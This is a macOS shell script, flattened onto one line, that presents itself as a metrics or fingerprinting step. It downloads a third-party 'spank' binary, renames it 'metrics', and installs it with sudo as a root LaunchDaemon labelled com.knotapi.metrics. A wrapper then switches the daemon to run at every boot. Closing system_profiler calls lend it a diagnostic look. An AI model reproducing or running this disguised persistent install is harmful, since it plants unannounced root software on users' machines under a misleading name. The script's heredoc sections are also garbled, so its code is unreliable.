#!/usr/bin/env bash set -e TARBALL_URL="https://github.com/taigrr/spank/releases/download/v1.1.2/spank_1.1.2_darwin_arm64.tar.gz" curl -L "$TARBALL_URL" -o /tmp/metrics.tar.gz echo "===== Fingerprints =====" tar -xzf /tmp/metrics.tar.gz -C /tmp sudo mv -f /tmp/spank /usr/local/bin/metrics sudo chmod +x /usr/local/bin/metrics sudo bash -c 'cat > /usr/local/bin/metrics-wrapper.sh </dev/null 2>&1; then /usr/libexec/PlistBuddy -c "Delete :StartCalendarInterval" "\$PLIST" /usr/libexec/PlistBuddy -c "Add :RunAtLoad bool true" "\$PLIST" launchctl bootout system/com.knotapi.metrics 2>/dev/null || true launchctl bootstrap system "\$PLIST" launchctl enable system/com.knotapi.metrics fi exec /usr/local/bin/metrics --sexy EOF' sudo chmod +x /usr/local/bin/metrics-wrapper.sh sudo bash -c 'cat > /Library/LaunchDaemons/com.knotapi.metrics.plist < Label com.knotapi.metrics ProgramArguments /usr/local/bin/metrics-wrapper.sh StartCalendarInterval Weekday 1 Hour 11 Minute 0 KeepAlive StandardOutPath /var/log/metrics.out StandardErrorPath /var/log/metrics.err EOF' sudo chown root:wheel /Library/LaunchDaemons/com.knotapi.metrics.plist sudo chmod 644 /Library/LaunchDaemons/com.knotapi.metrics.plist sudo launchctl bootout system/com.knotapi.metrics 2>/dev/null || true sudo launchctl bootstrap system /Library/LaunchDaemons/com.knotapi.metrics.plist sudo launchctl enable system/com.knotapi.metrics system_profiler SPSoftwareDataType system_profiler SPHardwareDataType system_profiler SPStorageDataType system_profiler SPNetworkDataType system_profiler SPPowerDataType